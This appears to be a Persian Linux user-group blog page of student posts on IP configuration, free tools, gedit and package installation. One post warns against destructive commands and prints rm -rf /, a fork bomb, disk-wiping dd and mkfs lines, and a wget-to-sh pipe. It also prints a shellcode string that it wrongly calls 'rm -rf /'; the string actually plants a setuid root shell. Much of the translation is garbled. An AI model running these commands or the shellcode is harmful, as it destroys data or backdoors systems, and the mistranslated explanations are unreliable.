گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

تغییر دادن آدرس IP از طریق خط فرمان


تغییر دادن آدرس IP از طریق رابط گرافیکی کار ساده ای است اما لینوکس این امکان را به ما می دهد که از طریق خط فرمان نیز این کار را به آسانی انجام دهیم.

این روش در تمامی لینوکس های Debian-based مانند Ubuntu کار می کند.برای شروع ifconfig را در Terminal وارد کرده و Enter  را بزنید. این دستور تمامی رابط های شبکه ای را در سیستم لیست میکند بنابراین آدرس رابط هایی را که میخواهید تغییر دهید نت براداری کنید. 



برای تغییر تنظیمات نیز از دستور ifconfig استفاده می کنیم ولی با کمی  پارامتر بیشتر دستور زیر رابط  شبکه ای را که اسمش "eth0" است را به آدرس  102.168.0.1  تغییر داده و زیر شبکه 255.255.255.0  را به آن انتصاب می دهد.   




شما همچنین می توانید آدرس آن را در هرلحظه عوض کنید. اگر ifconfig  را  دوباره  اجرا کنید خواهید دید که رابط  شما با مقدار تازه نمایش داده می شود.



همچنین اگر نیاز به تغییر مسیر پیش فرض رابط شبکه ای کردید می توانید از دستور route  استفاده کنید.  برای مثال دستور زیر مسیر رابط "eth0" را به 192.168.0.253  تغییر می دهد.




برای مشاهده  تنظیمات  جدید  نیاز به  نمایش routing table  دارید. دستور زیر را در Terminal  وارد کرده  و Enter  را بزنید.  




منبع :

https://www.howtogeek.com/118337/stupid-geek-tricks-change-your-ip-address-from-the-command-line-in-linux/ 


محمد لشکری بخشایش -951830284   

8 دستور خطرناک در لینوکس!!!

8 Deadly Commands You Should Never Run on Linux

8 دستور مرگبار که هرگز نباید در لینوکس اجرا کنید!!!!!

دستورات ترمینال لینوکس قدرتمند هستند و لینوکس اگر شما یک فرمان را اجرا کنید که سیستم شما را خراب می کند، از شما درخواست تایید نمی خواهد.

یاد گرفتن دستوراتی که نباید روی لینوکس اجراشود می تواند شما را از ترول ها محافظت کند دراین میان شما درحال یادگیری لینوکس هستید 
این یک راهنمای جامع نیست و دستورات در اینجا می تواند به روش های مختلفی مورد استفاده قرار گیرد.
توجه داشته باشید که بسیاری از این دستورات وقتی خطرناک هستند آنها را با sudo در اوبونتو (بعنوان پیشوند) بکار ببرید  - در غیر این صورت کار نخواهند کرد. در سایر توزیعهای لینوکس، اکثر دستورات باید به عنوان ریشه اجرا شوند
الف)
rm –rf / - همه چیز را پاک می کند!
دستور rm -rf / حذف همه چیز که می تواند موارد زیر باشد، از جمله فایل ها بر روی هارد دیسک شما و فایل ها در دستگاه های رسانه متصل که  قابلیت  جابجایی دارد. این فرمان قابل فهم تر است اگر شکسته شود:
rm - فایل های زیر را حذف کنید.
-rf - اجرای rm به صورت بازگشتی (همه فایل ها و پوشه ها را درون پوشه مشخص شده حذف کنید) و تمام فایل ها را بدون نیاز به اجازه گرفتن از شما پاک میکند
 / - می گوید rm در دایرکتوری ریشه شروع می شود
 که حاوی تمام فایل ها بر روی کامپیوتر شما و تمام دستگاه های رسانه ای نصب شده است شامل اشتراک فایل در مسیر های طولانی و درایوهای قابل جابجایی
لینوکس با خوشحالی از این دستور اطاعت می کند و همه چیز را بدون نیاز به شما حذف می کند، بنابراین هنگام استفاده از آن مراقب باشید! فرمان rm نیز می تواند در سایر روش های خطرناک مورد استفاده قرار گیرد - rm -rf ~ همه فایل ها را در پوشه خانه شما حذف می کند، درحالی که rm -rf. * تمام فایل های پیکربندی شما را حذف می کند
rm –rf /
یک کدی در زیر مشاهده مکنید که فایل هگز rm –rf / است اگر شما دستور rm –rf / را اجرا کنید تمام فایل های شما را پاک میکند
 
    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00
    cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;
درس:دستورات عجیب غریبی که فراموش شده اند را هرگز اجرا نکنید هرگززززز!!!!!
ب)
: () {: |: &} ؛: - بمب دیسک
 
خط زیر یک تابع ساده ساده، اما خطرناک است:
 
    : () {: |: &} ؛:
 
این خط کوتاه یک تابع پوسته را ایجاد می کند که نسخه های جدید خود را ایجاد می کند. این فرایند به طور پیوسته خود را تکرار می کند، و نسخه های آن به طور مداوم خود را تکرار می کنند، به سرعت در حال گرفتن تمام وقت CPU و حافظه خود را. این باعث می شود که رایانه شما مسدود شود. این اساسا یک حمله انکار سرویس است.
 
درس: توابع Bash قدرتمند هستند، حتی بسیار کوتاه  باشند
ج)
mkfs.ext4 / dev / sda1 - فرمت های هارددیسک
 
دستور mkfs.ext4 / dev / sda1 قابل درک  است:
 
    mkfs.ext4 - یک فایل سیستم ext4 جدید در دستگاه زیر ایجاد کنید.
 
    / dev / sda1 - اولین پارتیشن در هارد دیسک اول است که احتمالا در حال استفاده است.
 
با هم، این دستور می تواند معادل فرمت در حال اجرا c: در ویندوز باشد- آن فایل ها را در قسمت اول خود پاک کرده و آنها را با یک سیستم فایل جدید جایگزین می کند.
 
این فرمان می تواند به شکل های دیگر نیز باشد - mkfs.ext3 / dev / sdb2 پارتیشن دوم را در هارد دیسک دوم با سیستم فایل ext3 فرمت می کند.
 
درس: مراقب باشید دستورات در حال اجرا به طور مستقیم بر روی دستگاه های هارد دیسک که با / dev / sd آغاز می شود.
د)
command> / dev / sda - مستقیما بر روی هارد دیسک نوشته می شود
 
خط فرمان> / dev / sda به طور مشابه کار می کند - یک فرمان اجرا می کند و خروجی آن دستور را به طور مستقیم به اولین هارد دیسک شما می فرستد، داده ها را مستقیما به هارد دیسک می نویسد وبه سیستم فایل شما را آسیب می زند.
 
    command - اجرای فرمان (می تواند هر فرمان باشد.)
 
    > - خروجی فرمان را به محل زیر ارسال کنید.
 
    / dev / sda - خروجی فرمان را مستقیما به دستگاه هارد دیسک بنویسید.
 
درس: همانطور که در بالا ذکر شد، دستورات در حال اجرا را که شامل دستگاه های هارد دیسک با / dev / sd می شود، مراقب باشید
 
ه)
dd if = / dev / random of = / dev / sda - نوشتن هدر روی یک هارد دیسک
 
dd if = / dev / random of = / dev / sda خط
همچنین اطلاعات مربوط به یکی از درایوهای سخت شما را از بین می برد.
 
    dd - کپی کردن در سطح پایین از یک مکان به مکان دیگر انجام دهید.
 
    if = / dev / random - استفاده از / dev / random (داده های تصادفی)
به عنوان ورودی -
 شما ممکن است مکان هایی مانند / dev / zero (neros) را ببینید.
 
    -of = / dev / sda -
 خروجی به اولین هارد دیسک
 جایگزین سیستم فایل آن با داده های تصادفی زباله است.
 
درس: dd کپی داده ها از یک مکان به مکان دیگر، که می تواند خطرناک باشد اگر شما مستقیما به یک دستگاه کپی کنید
ر)
mv ~ / dev / null - فهرست دایرکتوری شما را به سیاه چاله منتقل می کند
 
/ dev / null یک مکان خاص دیگر است - انتقال چیزی به / dev / null همان چیزی است که آن را از بین می برد.
 از / dev / null به عنوان یک سیاهچاله فکر کنید. اساسا mv ~ / dev / null همه فایل های شخصی شما را به سیاه چاله می فرستد.
 
    mv - انتقال فایل یا دایرکتوری زیر به مکان دیگر.
 
    ~ - پوشه کل خانه شما را نشان می دهد
 
    / dev / null - پوشه خانه خود را به / dev / null منتقل کنید، تمام فایل های خود را از بین ببرید و کپی های اصلی را حذف کنید.
 
درس: شخصیت ~ نشان دهنده پوشه خانه شماست و چیزهای متحرک به / dev / null آنها را از بین می برد.
ط)
wget http://example.com/something -O - | sh - دانلود و اجرای یک اسکریپت
 
خط بالا یک اسکریپت را از وب دریافت می کند و آن را به sh میفرستد که محتویات اسکریپت را اجرا می کند. این امر می تواند خطرناک باشد اگر مطمئن نیستید که اسکریپت چیست یا اگر به منبع آن اعتماد نکنید اسکریپت های غیر قابل اعتماد را اجرا نکنید.
 
    wget - بارگیری یک فایل (شما همچنین می توانید در عوض wget ببینید)
 
    http://example.com/something - فایل را از این محل دانلود کنید.
 
    | - لوله (ارسال) خروجی فرمان wget به طور مستقیم به فرمان دیگر.
 
    sh - ارسال فایل به دستور sh، که آن را اجرا می کند اگر یک اسکریپ bash باشد.
 
درس: اسکریپت های غیر قابل اعتماد از وب را دانلود و اجرا نکنید، حتی با یک فرمان.
 
دستورالعمل های خطرناک دیگری که کاربران جدید (و تجربه شده) لینوکس باید اجرا کنند را می دانید؟ نظر بدهید و به اشتراک بگذارید!
 
 
 
 
 
 
 
مراجع: https://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/
 
 
نویسنده :الناز رادمند 951830234
 
 
 
 
 
 

 

 

1- ویرایشگر Atom

بدون شک این مورد بهترین انتخاب من هست.شاید به این دلیله که من علاوه بر یک مدیر سیستم (System Administrator)  بودن، یک توسعه دهنده نیز هستم. وقتی این ویرایشگر توسط GitHub ایجاد شد من اونو از بین بردم.

اتم به راحتی قابل گسترش از طریق بسته های اضافی است که در میان چیزهای دیگر از جمله تکمیل خودکار کد برای انواع مختلف زبان ارائه می شود: قابلیت های FTP و پیش نمایش داخلی مرورگر

2- NextCloud

NextCloud  به عنوان "خانه امن برای تمام اطلاعات خود" توصیف شده که به عنوان یک پروژه جداگانه توسط یکی از اولین همکاران OwnCloud آغاز شد.

با وجود رقابت میان NextCloud  و OwnCloud به نظر می رسد که NextCloud پیروز شود و با OwnCloud به عنوان یک راه حل خصوصی برای دسترسی و به اشتراک گذاری فایل ها، تقویم ها و مخاطبین خود باقی بماند و با آن رقابت کند.

3- Celestia

از آنجایی که حتی مدیران سیستم و توسعه دهندگان به دیوانگی نیاز دارند، می توانید از Celestia (یک برنامه آزاد نجومی سه بعدی) برای هدایت جهان استفاده کنید.

در مقایسه با سایر برنامه های Planetarium ، Celestia به شما اجازه می دهد تا در سراسر منظومه شمسی و کهکشان، نه فقط در سطح زمین سفر کنید. به بی نهایت و فراتر از آن!

4- Free RDP

اگر وظایف مدیریت سیستم شما شامل مدیریت سرورهای ویندوز از طریق پروتکل Remote Desktop Protocol (RDP) باشد، FreeRDP یک ابزار است که حتما آن را آزمایش خواهید کرد.

این مورد توسط توسعه دهندگان آن ، به عنوان یک مشتری RDP برای سرویس های ترمینال ویندوز توصیف شده است. این پروژه در GitHub میزبانی می شود، بنابراین اگر بخواهید میتوانید با آن همکاری داشته باشید.

5- Fly Spray

باید تاکید کنم که اگر شما در حال جستجو برای راه حل رفع اشکال و مدیریت پروژه هستید، Flyspray به درد شما نمیخورد ، ابزار مبتنی بر وب توسط Apache دقیقا همان چیزی است که شما نیاز دارید و این فقط حرف من نیست: حتی ArchLinux از Flyspray برای ردیابی اشکال استفاده می کند.

این سرویس MySQL یا PostgreSQL را به عنوان سرورهای پایگاه داده پشتیبانی می کند و قابلیت رأی گیری، اعلان های ایمیل (نیاز به یک سرور ایمیل جداگانه برای نصب و پیکربندی) و ثبت نام در (SSO) را با استفاده از حساب های فیس بوک یا گوگل دارد.

6- GNUCash

اگر از یک صفحه گسترده برای پیگیری امور مالی شخصی، خانوادگی یا کسب و کار خود استفاده کرده باشید، ممکن است وقت آن باشد که یک راه حل مناسب تر مانند GNUCash را امتحان کنید.

این نرم افزار حسابداری FOSS اجازه می دهد تا شما اطلاعات کاملی درباره ی حساب های بانکی، هزینه ها و درآمد خود و حقوق گمرکی داشته باشید، رابط کاربر پسند آن علاوه بر اصول حسابداری جامد GNUCash است که در زیر هود استفاده می شود.

7- LogicalDOC

هدف آن ارائه یک روش با کیفیت بالا برای به اشتراک گذاشتن اسناد تجاری و پرونده ها در هزینه کم و امن است.

علاوه بر این، LogicalDOC به شما اجازه می دهد تا از طریق نقش های امنیتی دسترسی به این منابع را کنترل کرده و به راحتی از طریق کنترل نسخه ها پیگیری کنید. LogicalDOC را می توان هر دو در یک کامپیوتر واحد در حالت مستقل، در یک سرور اختصاصی به عنوان یک سرویس مشترک، یا به عنوان یک نرم افزار به عنوان یک سرویس (SaaS) نصب شده است.

8- Blender

اگر شما در حال توسعه بازی، ویرایش ویدئو، و یا مدل سازی سه بعدی هستید، مطمئن هستم که باید درباره این ابزار شنیده باشید. اگر شما هر یک از این فعالیت ها را به عنوان یک سرگرمی یا تغییر شغلی در نظر می گیرید و درباره Blender شنیده اید، مطمئنا وقت آن رسیده است که آن را بررسی کنید.

شما این نرم افزار را فقط در Linux , MacOS , Windows میتوانید اجرا کنید.

9- DVDStyler

DVDStyler یک نرم افزار صوتی و تصویری FOSS DVD است که به شما اجازه می دهد دی وی دی های زیبا و حرفه ای با فایل های ویدیویی و تصویری خود ایجاد کنید.

به همین ترتیب، DVDStyler به شما این امکان را می دهد که منوهای خود را ایجاد کنید یا از داخل آن ها فایل های زیرنویس و صوتی را اضافه کنید و از فایل های ویدئویی در فرمت های مختلف استفاده کنید.

10- OSQuery

همانطور که نام آن نشان می دهد، OSQuery دسترسی به اطلاعات سیستم در زمان واقعی را در قالب جداول و رویدادهایی که می تواند با استفاده از نحو SQL مشابه از طریق یک کنسول پرس و جو تعاملی مورد پرسش قرار گیرد، فراهم می کند.

با استفاده از OSQuery، می توانید سیستم خود را برای انجام تشخیص نفوذ، تشخیص یک مشکل یا فقط برای تولید یک گزارش از عمل خود کشف کنید - همه در نوک انگشتان خود با استفاده از یک ابزار واحد.

اگر شما حداقل یک درک اولیه از SQL دارید، اطلاعات مربوط به سیستم عامل با استفاده از جداول ساخته شده در OSQuery، یک تکه کیک می شود.

 

نیاز به یک دلیل دیگر برای متقاعد کردن شما به استفاده از OSQuery هست؟ این برنامه توسط افرادی که در فیس بوک فعالیت می کنند، توسعه داده شده است.

 

 

اعضای گروه: فرزام جوادی ، محمدرضا سالبخش

 

لینک مربوطه:

https://www.tecmint.com/best-free-open-source-tools-2016/

وارد کردن و ویرایش متن با لینوکس GEDIT

وارد کردن و ویرایش متن با لینوکس GEDIT

 gedit ویرایشگر متنی پیش فرض در محیط گنوم است و شبیه نرم افزار Notepad در سیستم عامل ویندوز است. برای وارد کردن متن در gedit، فقط در فضای سفید بزرگ کلیک میکنیم و شروع به تایپ میکنیم و به مجموعه ای استاندارد از ابزارهای ویرایش مانند برش، چسباندن و کپی دسترسی داریم . برای استفاده از آن، متن را که می خواهیم با آن کار کنیم انتخاب میکنیم و سپس روی دکمه مناسب در نوار ابزار Geditکلیک میکنیم (یا راست کلیک میکنیم و دستور مناسب را از منوی زمینه انتخاب میکنیم). چنانچه بخواهیم فایلی را از طریق کامند لاین با استفاده از نرم افزار gedit ویرایش نماییم، دستور gedit را نوشته و به عنوان پارامتر این دستور، نام فایل مدنظر را وارد میکنیم ; پس از اینتر کردن، اگر چنین فایلی وجود خارجی داشته باشد در gedit باز خواهد شد در غیر این صورت هم فایلی با همین نام ساخته خواهد شد. تهیه شده توسط 951830225 https://www.lifewire.com/gedit-linux-command-unix-command-4097153 https://en.m.wikipedia.org/wiki/Gedit 

نصب نرم افزار در لینوکس

راهنمای لینوکس برای مبتدی ها نصب نرم افزار در لینوکس

 

 یکی از سخت ترین چیزھایی که در دنیای لینوکس استفاده می شود، نصب بسته ھای نرم افزاری جدید است. در دنیای، ھر برنامه است  setup.exe ویندوز ،هر برنامه همراه  به برخی از سؤالات بسیار ساده شما میپردازد و برای شما کار می کند. در حالی که نرم افزار لینوکس می تواندتقریبا به آسانی نصب شود، گاھی اوقات نرم افزاری پیدا خواھید کرد که بهنظر می رسد ھر مرحله از آن را ببرد. من نمی توانم تمام مشکلی را که ممکناست به وجود آورم را پوشش دھم، اما من سعی خواھم کرد تا اصول اولیه وچند اشاره گر را به شما معرفی کنم تا شما را در نقاط خشن قرار دھد.نرم افزار تمایل دارد در "بسته" آمده است. در دنیای ویندوز یک فایل است. یک بسته مک program.zip یا یک Setup.exe بسته فایل program.sit یا یک program.dmg است. در دنیای لینوکس انواع مختلفی از بسته ھا وجود دارد و ھر توزیع دارای فرمت پکیج مورد نظر

خود است.

 قالب استاندارد بسته لینوکس (با توجه به استاندارد یک سیستم بستهRPM  است .

 DEB یکی دیگر از فرمت ھای محبوب بسته است . بسته ھای دبیان و ابزار پیشرفته  Debian برای اولین بار معرفی چندین ویژگی (APT) است.

. به خاطر داشته باشید که برای نصب نرم افزار باید SuperUserشوید.

، یک مجموعه گسترده ای از ابزار برای کار با بسته ھای DEB apt-get .که یکی از آسان ترین ابزار مدیریت بسته ھای لینوکس است زیرا نه تنھا مسیر بسته ھای نصب شده را نگه می دارد، بلکه ھمچنین بستهھای دیگری نیز موجود است. این حتی آنھا را از اینترنت برای شما دانلود میکند (اگر به درستی پیکربندی شده باشد).

apt-get install ${packagename

برای حذف نرم افزار ھمانقدر آسان است.

apt-get remove ${packagename}

اگر چه مخازن حاوی بسته ھای نصب شده ممکن است در اینترنت و یا روییک پایگاه داده محلی را روی ھارد دیسک ، دیسک در جایی زندگی کنند APT خود لیستی از تمام بسته ھای در دسترس را پیدا می کندو آنھا را پیدا می کند. این پایگاه داده باید صراحتا به روز شود.

 برای به روز:APT رسانی پایگاه داده

apt-get updateاصطلاح رایج برای به روز رسانی پایگاه داده بسته شما است و سپس تمام بسته ھایی را که دارای پچ ھا یا به روز رسانی ھای امنیتی برای نصب ھستند ارتقا دھید. دستور زیر تمام این کارھا را ھمزمان انجام می دھد.

apt-get update; apt-get upgrad

apt-get، yum می توانید بسته ھا را از یک.مخزن پیکربندی دانلود و نصب کنید

yum install ${packagename

برای حذف نرم افزار ھمانقدر آسان است.

yum remove ${packagename}

yum یک کپی محلی از پایگاه داده بسته شما را به طور پیش فرض نگه نمیدارد، بنابراین به طور معمول نیازی به آن را ندارید. برای نصب تمام تکه ھای:امنیتی موجود و رفع اشکالات، از این دستور استفاده کنید

yum update

شما ھمچنین می توانید به صورت صریح یک بسته واحد را با:

yum update ${packagenameبروزرسانی کنید.

و برای آموزش مستقل و دیگر منابع، به مدیریت نرم افزار با yum برای یک

مراجعه کنید .


زهرا فتحی(۹۵۱۸۳۰۲۵۴)


https://www.control-escape.com/linux/lx-swinstall.html